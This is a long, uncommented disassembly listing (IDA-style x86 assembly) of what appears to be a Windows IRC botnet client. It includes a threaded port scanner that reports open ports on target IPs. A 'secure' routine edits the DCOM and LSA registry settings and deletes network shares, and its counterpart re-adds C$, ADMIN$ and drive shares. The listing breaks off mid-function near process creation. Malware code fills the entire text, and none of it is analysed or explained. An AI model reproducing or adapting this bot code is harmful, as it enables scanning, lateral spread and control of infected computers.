		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		call	dword_4334F8
		test	esi, esi
		jbe	short loc_40E75D
		test	eax, eax
		mov	eax, offset aM_0 ; "[M]"
		jnz	short loc_40E746
		mov	eax, 41FA76h


loc_40E746:				; CODE XREF: sub_40E70F+30j
		push	eax
		push	esi
		push	offset aDS	; "[%d]%s"
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_412E0D
		add	esp, 14h
		jmp	short loc_40E777
; ---------------------------------------------------------------------------


loc_40E75D:				; CODE XREF: sub_40E70F+27j
		test	eax, eax
		mov	eax, offset aM_0 ; "[M]"
		jnz	short loc_40E76B
		mov	eax, 41FA76h


loc_40E76B:				; CODE XREF: sub_40E70F+55j
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx


loc_40E777:				; CODE XREF: sub_40E70F+4Cj
		lea	eax, [ebp+var_1C]
		lea	edx, [eax+1]
		pop	esi


loc_40E77E:				; CODE XREF: sub_40E70F+74j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40E77E
		sub	eax, edx
		cmp	eax, 2
		jbe	short loc_40E7AB
		push	1Ch
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_412A80
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_0]
		call	sub_412C40
		add	esp, 18h


loc_40E7AB:				; CODE XREF: sub_40E70F+7Bj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40E70F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E7B0	proc near		; CODE XREF: sub_40751F+53p
					; sub_40779B+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		xor	edx, edx
		xor	edi, edi


loc_40E7BA:				; CODE XREF: sub_40E7B0+62j
		mov	esi, [ebp+arg_C]
		test	esi, esi
		jz	short loc_40E7F9
		lea	eax, dword_42B288[edi]


loc_40E7C7:				; CODE XREF: sub_40E7B0+33j
		mov	bl, [esi]
		mov	cl, bl
		cmp	bl, [eax]
		jnz	short loc_40E7E9
		test	cl, cl
		jz	short loc_40E7E5
		mov	bl, [esi+1]
		mov	cl, bl
		cmp	bl, [eax+1]
		jnz	short loc_40E7E9
		inc	esi
		inc	esi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_40E7C7


loc_40E7E5:				; CODE XREF: sub_40E7B0+21j
		xor	eax, eax
		jmp	short loc_40E7EE
; ---------------------------------------------------------------------------


loc_40E7E9:				; CODE XREF: sub_40E7B0+1Dj
					; sub_40E7B0+2Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40E7EE:				; CODE XREF: sub_40E7B0+37j
		xor	ecx, ecx
		test	eax, eax
		setz	cl
		mov	eax, ecx
		jmp	short loc_40E807
; ---------------------------------------------------------------------------


loc_40E7F9:				; CODE XREF: sub_40E7B0+Fj
		mov	ecx, dword_42B294[edi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40E807:				; CODE XREF: sub_40E7B0+47j
		test	eax, eax
		jnz	short loc_40E816
		add	edi, 14h
		inc	edx
		cmp	edi, 64h
		jb	short loc_40E7BA
		jmp	short loc_40E824
; ---------------------------------------------------------------------------


loc_40E816:				; CODE XREF: sub_40E7B0+59j
		push	[ebp+arg_0]
		lea	eax, [edx+edx*4]
		call	off_42B298[eax*4]
		pop	ecx


loc_40E824:				; CODE XREF: sub_40E7B0+64j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		pop	ebx
		jz	short loc_40E838
		push	[ebp+arg_0]
		call	sub_40E70F
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40E838:				; CODE XREF: sub_40E7B0+7Bj
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40E7B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40E83D	proc near		; DATA XREF: sub_40E8FF+77o

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 0B8h
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		mov	esi, eax
		push	2Ah
		pop	ecx
		lea	edi, [ebp+74h+var_B8]
		rep movsd
		push	[ebp+74h+var_34]
		xor	esi, esi
		inc	esi
		mov	[eax+0A4h], esi
		xor	eax, eax
		lea	edi, [ebp+74h+var_10]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+74h+var_10], 2
		call	dword_4335EC
		push	6
		mov	[ebp+74h+var_E], ax
		mov	eax, [ebp+74h+var_28]
		push	esi
		push	2
		mov	[ebp+74h+var_C], eax
		call	dword_4334A0
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E8ED
		push	10h
		lea	eax, [ebp+74h+var_10]
		push	eax
		push	esi
		call	dword_433458
		mov	ecx, [ebp+74h+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_434344[ecx], esi
		jz	short loc_40E8ED
		push	[ebp+74h+var_34]
		push	[ebp+74h+var_28]
		call	dword_433520
		push	eax
		push	offset aScanIpSPortD_0 ; "[SCAN]: IP: %s Port: %d is open."
		mov	edi, offset dword_479C18
		push	edi
		call	sub_412BB5
		push	0
		push	[ebp+74h+var_20]
		lea	eax, [ebp+74h+var_B4]
		push	edi
		push	eax
		push	[ebp+74h+var_B8]
		call	sub_4045DD
		push	edi
		call	sub_401C33
		add	esp, 28h


loc_40E8ED:				; CODE XREF: sub_40E83D+55j
					; sub_40E83D+76j
		push	esi
		call	dword_4335AC
		pop	edi
		xor	eax, eax
		pop	esi
		add	ebp, 74h
		leave
		retn	4
sub_40E83D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame fpd=74h


sub_40E8FF	proc near		; DATA XREF: sub_4078FA+25BAo

var_12C		= byte ptr -12Ch
var_AC		= byte ptr -0ACh
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 12Ch
		push	ebx
		mov	ebx, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, ebx
		lea	edi, [ebp+74h+var_AC]
		rep movsd
		mov	esi, ds:dword_41F000
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi


loc_40E92C:				; CODE XREF: sub_40E8FF+C1j
		push	[ebp+74h+var_28]
		push	[ebp+74h+var_1C]
		call	dword_433520
		push	eax
		lea	eax, [ebp+74h+var_12C]
		push	offset aScanScanningIp ; "[SCAN]: Scanning IP: %s, Port: %d."
		push	eax
		call	sub_412BB5
		push	1FFh
		lea	eax, [ebp+74h+var_12C]
		push	eax
		mov	eax, [ebp+74h+var_20]
		imul	eax, 234h
		add	eax, offset dword_434138
		push	eax
		call	sub_412C40
		add	esp, 1Ch
		lea	eax, [ebp+74h+var_4]
		push	eax
		push	edi
		lea	eax, [ebp+74h+var_AC]
		push	eax
		push	offset sub_40E83D
		push	edi
		push	edi
		call	ds:dword_41F00C
		cmp	eax, edi
		mov	[ebp+74h+arg_0], eax
		jz	short loc_40E995
		jmp	short loc_40E990
; ---------------------------------------------------------------------------


loc_40E98C:				; CODE XREF: sub_40E8FF+94j
		push	32h
		call	esi


loc_40E990:				; CODE XREF: sub_40E8FF+8Bj
		cmp	[ebp+74h+var_8], edi
		jz	short loc_40E98C


loc_40E995:				; CODE XREF: sub_40E8FF+89j
		push	[ebp+74h+arg_0]
		call	ds:dword_41F034
		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi
		push	[ebp+74h+var_1C]
		call	dword_433570
		inc	eax
		push	eax
		call	dword_4335C4
		mov	[ebp+74h+var_1C], eax
		jmp	loc_40E92C
sub_40E8FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9C5	proc near		; CODE XREF: sub_40F005+8p
					; sub_40F023+37p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_433600, edi
		jnz	loc_40EAF8
		lea	eax, [ebp+var_4]
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		mov	esi, 80000002h
		push	esi
		call	dword_4335C8
		test	eax, eax
		jnz	short loc_40EA51
		lea	eax, [ebp+var_8+2]
		mov	word ptr [ebp+var_8+2],	4Eh
		lea	edx, [eax+1]


loc_40EA09:				; CODE XREF: sub_40E9C5+49j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40EA09
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_433484
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_40EA39
		push	offset aSecureDisableD ; "[SECURE]: Disable DCOM failed."
		jmp	short loc_40EA3E
; ---------------------------------------------------------------------------


loc_40EA39:				; CODE XREF: sub_40E9C5+6Bj
		push	offset aSecureDcomDisa ; "[SECURE]: DCOM disabled."


loc_40EA3E:				; CODE XREF: sub_40E9C5+72j
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43357C
		jmp	short loc_40EA64
; ---------------------------------------------------------------------------


loc_40EA51:				; CODE XREF: sub_40E9C5+36j
		lea	eax, [ebp+var_214]
		push	offset aSecureFailed_0 ; "[SECURE]: Failed to open DCOM	registry "...
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx


loc_40EA64:				; CODE XREF: sub_40E9C5+8Aj
		cmp	[ebp+arg_C], edi
		jnz	short loc_40EA83
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_40EA83:				; CODE XREF: sub_40E9C5+A2j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_401C33
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4335C8
		test	eax, eax
		jnz	short loc_40EAF1
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_433484
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_40EAD9
		push	offset aSecureFailed_1 ; "[SECURE]: Failed to restrict access to "...
		jmp	short loc_40EADE
; ---------------------------------------------------------------------------


loc_40EAD9:				; CODE XREF: sub_40E9C5+10Bj
		push	offset aSecureRestrict ; "[SECURE]: Restricted access to the IPC$"...


loc_40EADE:				; CODE XREF: sub_40E9C5+112j
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43357C
		jmp	short loc_40EB0B
; ---------------------------------------------------------------------------


loc_40EAF1:				; CODE XREF: sub_40E9C5+E3j
		push	offset aSecureFailed_2 ; "[SECURE]: Failed to open IPC$	Restricti"...
		jmp	short loc_40EAFD
; ---------------------------------------------------------------------------


loc_40EAF8:				; CODE XREF: sub_40E9C5+13j
		push	offset aSecureAdvapi32 ; "[SECURE]: Advapi32.dll couldn't be load"...


loc_40EAFD:				; CODE XREF: sub_40E9C5+131j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx


loc_40EB0B:				; CODE XREF: sub_40E9C5+12Aj
		cmp	[ebp+arg_C], edi
		jnz	short loc_40EB2A
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_40EB2A:				; CODE XREF: sub_40E9C5+149j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_401C33
		cmp	dword_433628, edi
		pop	ecx
		jnz	loc_40ECA7
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi
		push	ebx


loc_40EB4D:				; CODE XREF: sub_40E9C5+2C6j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_8]
		push	eax
		push	1F6h
		push	edi
		call	dword_4335A0
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_40EBEC
		cmp	eax, 0EAh
		jz	short loc_40EBEC
		xor	esi, esi


loc_40EB7B:				; CODE XREF: sub_40E9C5+220j
		push	off_42B2F0[esi]
		push	edi
		call	sub_406032
		pop	ecx
		pop	ecx
		push	off_42B2F0[esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_40EBA0
		push	offset aSecureShareSDe ; "[SECURE]: Share '%s' deleted."
		jmp	short loc_40EBA5
; ---------------------------------------------------------------------------


loc_40EBA0:				; CODE XREF: sub_40E9C5+1D2j
		push	offset aSecureFailed_3 ; "[SECURE]: Failed to delete '%s' share."


loc_40EBA5:				; CODE XREF: sub_40E9C5+1D9j
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_40EBD2
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_40EBD2:				; CODE XREF: sub_40E9C5+1F1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_401C33
		add	esi, 8
		cmp	esi, 20h
		pop	ecx
		jb	short loc_40EB7B
		jmp	loc_40EC84
; ---------------------------------------------------------------------------


loc_40EBEC:				; CODE XREF: sub_40E9C5+1ABj
					; sub_40E9C5+1B2j
		mov	esi, [ebp+var_8]
		xor	ebx, ebx
		inc	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_40EC7B


loc_40EBFB:				; CODE XREF: sub_40E9C5+2B2j
		mov	edi, [esi]
		push	edi
		call	sub_413FEE
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_40EC70
		push	edi
		call	sub_405F46
		push	eax
		push	0
		call	sub_406032
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_40EC30
		push	offset aSecureShareS_0 ; "[SECURE]: Share '%S' deleted."
		jmp	short loc_40EC35
; ---------------------------------------------------------------------------


loc_40EC30:				; CODE XREF: sub_40E9C5+262j
		push	offset aSecureFailed_4 ; "[SECURE]: Failed to delete '%S' share."


loc_40EC35:				; CODE XREF: sub_40E9C5+269j
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_40EC63
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_40EC63:				; CODE XREF: sub_40E9C5+282j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_401C33
		pop	ecx


loc_40EC70:				; CODE XREF: sub_40E9C5+245j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_40EBFB
		xor	edi, edi


loc_40EC7B:				; CODE XREF: sub_40E9C5+230j
		push	[ebp+var_8]
		call	dword_4334D8


loc_40EC84:				; CODE XREF: sub_40E9C5+222j
		cmp	[ebp+var_10], 0EAh
		jz	loc_40EB4D
		lea	eax, [ebp+var_214]
		push	offset aSecureNetworkS ; "[SECURE]: Network shares deleted."
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_40ECBA
; ---------------------------------------------------------------------------


loc_40ECA7:				; CODE XREF: sub_40E9C5+178j
		lea	eax, [ebp+var_214]
		push	offset aSecureNetapi32 ; "[SECURE]: Netapi32.dll couldn't be load"...
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx


loc_40ECBA:				; CODE XREF: sub_40E9C5+2E0j
		cmp	[ebp+arg_C], edi
		jnz	short loc_40ECD8
		push	edi
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_40ECD8:				; CODE XREF: sub_40E9C5+2F8j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_401C33
		pop	ecx
		xor	eax, eax
		pop	edi
		inc	eax
		pop	esi
		leave
		retn
sub_40E9C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECEC	proc near		; CODE XREF: sub_40F023:loc_40F061p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_433600, ebx
		push	esi
		jnz	loc_40EE1B
		lea	eax, [ebp+var_4]
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		mov	esi, 80000002h
		push	esi
		call	dword_4335C8
		test	eax, eax
		jnz	short loc_40ED78
		lea	eax, [ebp+var_8+2]
		mov	word ptr [ebp+var_8+2],	59h
		lea	edx, [eax+1]


loc_40ED30:				; CODE XREF: sub_40ECEC+49j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40ED30
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_433484
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_40ED60
		push	offset aSecureEnableDc ; "[SECURE]: Enable DCOM	failed."
		jmp	short loc_40ED65
; ---------------------------------------------------------------------------


loc_40ED60:				; CODE XREF: sub_40ECEC+6Bj
		push	offset aSecureDcomEnab ; "[SECURE]: DCOM enabled."


loc_40ED65:				; CODE XREF: sub_40ECEC+72j
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43357C
		jmp	short loc_40ED8B
; ---------------------------------------------------------------------------


loc_40ED78:				; CODE XREF: sub_40ECEC+36j
		lea	eax, [ebp+var_220]
		push	offset aSecureFailed_0 ; "[SECURE]: Failed to open DCOM	registry "...
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx


loc_40ED8B:				; CODE XREF: sub_40ECEC+8Aj
		cmp	[ebp+arg_C], ebx
		jnz	short loc_40EDAA
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_40EDAA:				; CODE XREF: sub_40ECEC+A2j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_401C33
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4335C8
		test	eax, eax
		jnz	short loc_40EE14
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_433484
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_40EDFC
		push	offset aSecureFailed_5 ; "[SECURE]: Failed to unrestrict access	t"...
		jmp	short loc_40EE01
; ---------------------------------------------------------------------------


loc_40EDFC:				; CODE XREF: sub_40ECEC+107j
		push	offset aSecureUnrestri ; "[SECURE]: Unrestricted access	to the IP"...


loc_40EE01:				; CODE XREF: sub_40ECEC+10Ej
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43357C
		jmp	short loc_40EE2E
; ---------------------------------------------------------------------------


loc_40EE14:				; CODE XREF: sub_40ECEC+E3j
		push	offset aSecureFailed_6 ; "[SECURE]: Failed to open IPC$	restricti"...
		jmp	short loc_40EE20
; ---------------------------------------------------------------------------


loc_40EE1B:				; CODE XREF: sub_40ECEC+13j
		push	offset aSecureAdvapi32 ; "[SECURE]: Advapi32.dll couldn't be load"...


loc_40EE20:				; CODE XREF: sub_40ECEC+12Dj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx


loc_40EE2E:				; CODE XREF: sub_40ECEC+126j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_40EE4D
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_40EE4D:				; CODE XREF: sub_40ECEC+145j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_401C33
		cmp	dword_433628, ebx
		pop	ecx
		jnz	loc_40EFC0
		push	edi
		xor	esi, esi
		mov	edi, 200h


loc_40EE6E:				; CODE XREF: sub_40ECEC+1EFj
		push	dword_42B2F4[esi]
		push	off_42B2F0[esi]
		push	ebx
		call	sub_405FC7
		add	esp, 0Ch
		push	off_42B2F0[esi]
		test	eax, eax
		lea	eax, [ebp+var_220]
		jnz	short loc_40EE9A
		push	offset aSecureShareSAd ; "[SECURE]: Share '%s' added."
		jmp	short loc_40EE9F
; ---------------------------------------------------------------------------


loc_40EE9A:				; CODE XREF: sub_40ECEC+1A5j
		push	offset aSecureFailed_7 ; "[SECURE]: Failed to add '%s' share."


loc_40EE9F:				; CODE XREF: sub_40ECEC+1ACj
		push	edi
		push	eax
		call	sub_412E0D
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_40EEC8
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_40EEC8:				; CODE XREF: sub_40ECEC+1C0j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_401C33
		add	esi, 8
		cmp	esi, 10h
		pop	ecx
		jb	short loc_40EE6E
		call	ds:dword_41F0FC
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_40EFA8


loc_40EEF0:				; CODE XREF: sub_40ECEC+2B6j
		test	byte ptr [ebp+var_4], 1
		jz	loc_40EF9D
		cmp	bl, 41h
		jz	loc_40EF9D
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_412E0D
		push	esi
		push	offset aC_0	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_412E0D
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_43342C
		cmp	eax, 3
		jnz	short loc_40EF9D
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_405FC7
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_220]
		jnz	short loc_40EF61
		push	offset aSecureShareSAd ; "[SECURE]: Share '%s' added."
		jmp	short loc_40EF66
; ---------------------------------------------------------------------------


loc_40EF61:				; CODE XREF: sub_40ECEC+26Cj
		push	offset aSecureFailed_7 ; "[SECURE]: Failed to add '%s' share."


loc_40EF66:				; CODE XREF: sub_40ECEC+273j
		push	edi
		push	eax
		call	sub_412E0D
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_40EF90
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_40EF90:				; CODE XREF: sub_40ECEC+288j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_401C33
		pop	ecx


loc_40EF9D:				; CODE XREF: sub_40ECEC+208j
					; sub_40ECEC+211j ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_40EEF0


loc_40EFA8:				; CODE XREF: sub_40ECEC+1FEj
		lea	eax, [ebp+var_220]
		push	offset aSecureNetwor_0 ; "[SECURE]: Network shares added."
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		xor	ebx, ebx
		pop	edi
		jmp	short loc_40EFD3
; ---------------------------------------------------------------------------


loc_40EFC0:				; CODE XREF: sub_40ECEC+174j
		lea	eax, [ebp+var_220]
		push	offset aSecureNetapi32 ; "[SECURE]: Netapi32.dll couldn't be load"...
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx


loc_40EFD3:				; CODE XREF: sub_40ECEC+2D2j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_40EFF1
		push	ebx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_40EFF1:				; CODE XREF: sub_40ECEC+2EAj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_401C33
		pop	ecx
		xor	eax, eax
		pop	esi
		inc	eax
		pop	ebx
		leave
		retn
sub_40ECEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40F005	proc near		; CODE XREF: sub_40F005+1Cj
					; DATA XREF: sub_40D1EF+3B4o
		push	1
		push	0
		push	0
		push	0
		call	sub_40E9C5
		add	esp, 10h
		push	dword_42B2EC
		call	ds:dword_41F000
		jmp	short sub_40F005
sub_40F005	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40F023	proc near		; DATA XREF: sub_4078FA+4A4Bo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 98h
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_98]
		rep movsd
		cmp	[ebp+74h+var_10], 0
		push	[ebp+74h+var_8]
		mov	dword ptr [eax+94h], 1
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_94]
		push	eax
		push	[ebp+74h+var_98]
		jz	short loc_40F061
		call	sub_40E9C5
		jmp	short loc_40F066
; ---------------------------------------------------------------------------


loc_40F061:				; CODE XREF: sub_40F023+35j
		call	sub_40ECEC


loc_40F066:				; CODE XREF: sub_40F023+3Cj
		add	esp, 10h
		push	[ebp+74h+var_14]
		call	sub_4111AE
		pop	ecx
		push	0
		call	ds:dword_41F014
		int	3		; Trap to Debugger
sub_40F023	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F07B	proc near		; CODE XREF: sub_40F2F9+98p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	esi
		push	edi
		push	11h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_58]
		rep stosd
		lea	edi, [ebp+var_14]
		stosd
		xor	esi, esi
		stosd
		stosd
		stosd
		mov	eax, [ebp+arg_0]
		mov	edi, ds:dword_41F0B4
		push	esi
		push	1
		mov	[ebp+var_20], eax
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		mov	[ebp+var_4], esi
		mov	[ebp+var_58], 44h
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
